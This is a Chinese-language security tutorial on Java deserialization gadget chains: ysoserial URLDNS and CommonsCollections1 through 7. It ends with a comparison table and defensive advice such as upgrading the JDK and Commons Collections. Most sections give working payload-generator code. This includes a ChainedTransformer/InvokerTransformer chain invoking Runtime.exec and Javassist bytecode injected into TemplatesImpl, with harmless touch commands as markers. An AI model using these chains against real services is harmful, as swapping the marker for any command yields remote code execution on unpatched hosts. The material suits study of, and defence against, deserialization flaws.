ysoserial URLDNS, CommonsCollections1-7 分析+复现
字数 2554 2025-08-25 22:59:02
Java反序列化漏洞利用链分析:ysoserial URLDNS与CommonsCollections1-7详解
1. URLDNS利用链分析
1.1 基本原理
URLDNS是ysoserial中最简单的利用链,其核心原理是利用Java反序列化时的自动行为触发DNS查询:
java.util.HashMap重写了readObject方法,在反序列化时会调用hash函数计算key的hashCodejava.net.URL的hashCode在计算时会调用getHostAddress来解析域名,从而发出DNS请求
1.2 调用链
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URL.getHostAddress()
1.3 关键代码实现
public class URLDNS {
public static void main(String[] args) throws Exception {
HashMap<URL, String> hashMap = new HashMap<URL, String>();
URL url = new URL("http://xxxx.xxx.xxx");
// 通过反射设置hashCode初始值,避免put时触发DNS查询
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0xdeadbeef);
hashMap.put(url, "rmb122");
// 将hashCode设回-1,确保反序列化时重新计算
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
}
}
1.4 测试代码
public class Test {
public static void main(String[] args) throws Exception {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}
2. CommonsCollections1利用链
2.1 适用版本
- 仅适用于JDK版本 < 8u71
- Commons Collections 3.x
2.2 调用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
2.3 关键组件分析
2.3.1 LazyMap.get()
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
}
2.3.2 Transformer接口实现
- ChainedTransformer: 按顺序执行多个Transformer
- ConstantTransformer: 返回固定常量
- InvokerTransformer: 反射调用指定方法
// InvokerTransformer关键代码
public Object transform(Object input) {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (...) {
// 异常处理
}
}
2.3.3 恶意Transformer链构造
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class, Class[].class},
new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke",
new Class[]{Object.class, Object[].class},
new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec",
new Class[]{String[].class},
new Object[]{new String[]{"/bin/touch", "/dev/shm/rmb122_pwned"}}),
};
2.4 完整利用代码
public class CommonsCollections1 {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[]{...}; // 同上
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 创建LazyMap
Constructor constructor = Class.forName("org.apache.commons.collections.map.LazyMap")
.getDeclaredConstructor(Map.class, Transformer.class);
constructor.setAccessible(true);
HashMap hashMap = new HashMap<String, String>();
Object lazyMap = constructor.newInstance(hashMap, chainedTransformer);
// 创建AnnotationInvocationHandler代理
constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler")
.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
InvocationHandler invo = (InvocationHandler)constructor.newInstance(Deprecated.class, lazyMap);
// 创建代理对象
Object proxy = Proxy.newProxyInstance(
invo.getClass().getClassLoader(),
new Class[]{Map.class},
invo);
// 再次包装
Object obj = constructor.newInstance(Deprecated.class, proxy);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(obj);
}
}
2.5 JDK修复方式
在JDK 8u71中,AnnotationInvocationHandler的readObject方法被修改,不再直接使用反序列化得到的memberValues,而是创建新的LinkedHashMap:
Map<String, Object> mv = new LinkedHashMap();
// ...
AnnotationInvocationHandler.UnsafeAccessor.setMemberValues(this, mv);
3. CommonsCollections2利用链
3.1 适用版本
- Commons Collections 4.x
- 使用
TemplatesImpl类动态加载字节码
3.2 调用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
3.3 关键组件
3.3.1 TemplatesImpl
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl可以在调用newTransformer或getOutputProperties时动态从字节码重建类。
3.3.2 PriorityQueue.readObject()
private void readObject(ObjectInputStream s) throws IOException, ClassNotFoundException {
s.defaultReadObject();
s.readInt();
// 读取元素
this.heapify(); // 关键点:会触发排序
}
3.3.3 TransformingComparator
public int compare(I obj1, I obj2) {
O value1 = this.transformer.transform(obj1);
O value2 = this.transformer.transform(obj2);
return this.decorated.compare(value1, value2);
}
3.4 完整利用代码
public class CommonsCollections2 {
public static class Placeholder {}
public static void main(String[] args) throws Exception {
// 生成恶意字节码
ClassPool classPool = ClassPool.getDefault();
classPool.insertClassPath(new ClassClassPath(Placeholder.class));
CtClass placeholder = classPool.get(Placeholder.class.getName());
placeholder.makeClassInitializer().insertAfter(
"java.lang.Runtime.getRuntime().exec(\"touch /dev/shm/rmb122_test1\");");
byte[] bytecode = placeholder.toBytecode();
// 创建TemplatesImpl实例
Object templates = Class.forName(TemplatesImpl).getConstructor().newInstance();
Field fieldByteCodes = templates.getClass().getDeclaredField("_bytecodes");
fieldByteCodes.setAccessible(true);
fieldByteCodes.set(templates, new byte[][]{bytecode});
// 设置_name字段
Field fieldName = templates.getClass().getDeclaredField("_name");
fieldName.setAccessible(true);
fieldName.set(templates, "rmb122");
// 构造Transformer
InvokerTransformer invokerTransformer = new InvokerTransformer(
"newTransformer", new Class[]{}, new Object[]{});
// 创建PriorityQueue
TransformingComparator comparator = new TransformingComparator(invokerTransformer);
PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(1);
// 通过反射设置内部数组和comparator
Field field = PriorityQueue.class.getDeclaredField("queue");
field.setAccessible(true);
Object[] innerArr = (Object[]) field.get(queue);
innerArr[0] = templates;
innerArr[1] = templates;
field = PriorityQueue.class.getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue, comparator);
// 序列化
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(queue);
}
}
4. CommonsCollections3利用链
4.1 特点
- 使用
InstantiateTransformer替代InvokerTransformer - 利用
TrAXFilter构造函数调用newTransformer
4.2 调用链
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
TrAXFilter构造函数
TemplatesImpl.newTransformer()
... RCE
4.3 关键代码
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Class.forName(TrAXFilter)),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templates}),
};
5. CommonsCollections4利用链
5.1 特点
- Commons Collections 4.x版本
- 结合
PriorityQueue和InstantiateTransformer
5.2 调用链
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InstantiateTransformer.transform()
TrAXFilter构造函数
TemplatesImpl.newTransformer()
... RCE
6. CommonsCollections5利用链
6.1 适用版本
- JDK >= 8u76且SecurityManager未设置
- 使用
BadAttributeValueExpException触发
6.2 调用链
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
... RCE
6.3 关键代码
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "placeholder");
BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
Field valField = exp.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(exp, tiedMapEntry);
7. CommonsCollections6利用链
7.1 调用链
ObjectInputStream.readObject()
HashSet.readObject()
HashMap.put()
HashMap.hash()
TiedMapEntry.hashCode()
TiedMapEntry.getValue()
LazyMap.get()
... RCE
7.2 特点
- 利用
HashSet反序列化时计算hashCode的特性 - 适用于Commons Collections 3.x和4.x
8. CommonsCollections7利用链
8.1 调用链
ObjectInputStream.readObject()
Hashtable.readObject()
Hashtable.reconstitutionPut()
AbstractMapDecorator.equals()
AbstractMap.equals()
LazyMap.get()
... RCE
8.2 特点
- 利用哈希碰撞触发
equals比较 - 适用于Commons Collections 3.x和4.x
9. 总结与防御建议
9.1 利用链对比
| 编号 | 主要触发类 | 关键Transformer | 适用CC版本 | 特点 |
|---|---|---|---|---|
| CC1 | AnnotationInvocationHandler | InvokerTransformer | 3.x | JDK<8u71 |
| CC2 | PriorityQueue | InvokerTransformer | 4.x | 使用TemplatesImpl |
| CC3 | AnnotationInvocationHandler | InstantiateTransformer | 3.x | 使用TrAXFilter |
| CC4 | PriorityQueue | InstantiateTransformer | 4.x | 结合CC2和CC3 |
| CC5 | BadAttributeValueExpException | InvokerTransformer | 3.x/4.x | JDK>=8u76 |
| CC6 | HashSet | InvokerTransformer | 3.x/4.x | 利用hashCode |
| CC7 | Hashtable | InvokerTransformer | 3.x/4.x | 利用equals |
9.2 防御措施
- 升级JDK:特别是修复AnnotationInvocationHandler问题的8u71及以上版本
- 升级Commons Collections:使用修复了反序列化问题的版本
- 使用安全配置:设置SecurityManager限制危险操作
- 输入过滤:对反序列化数据源进行严格校验
- 替换序列化方式:考虑使用JSON等更安全的序列化格式
9.3 修复方案
- Commons Collections的修复主要针对
InvokerTransformer和InstantiateTransformer,禁用了它们的反序列化功能 - JDK修复主要针对
AnnotationInvocationHandler的反序列化行为
这些利用链展示了Java反序列化漏洞的复杂性和危害性,理解这些机制对于安全开发和漏洞防护至关重要。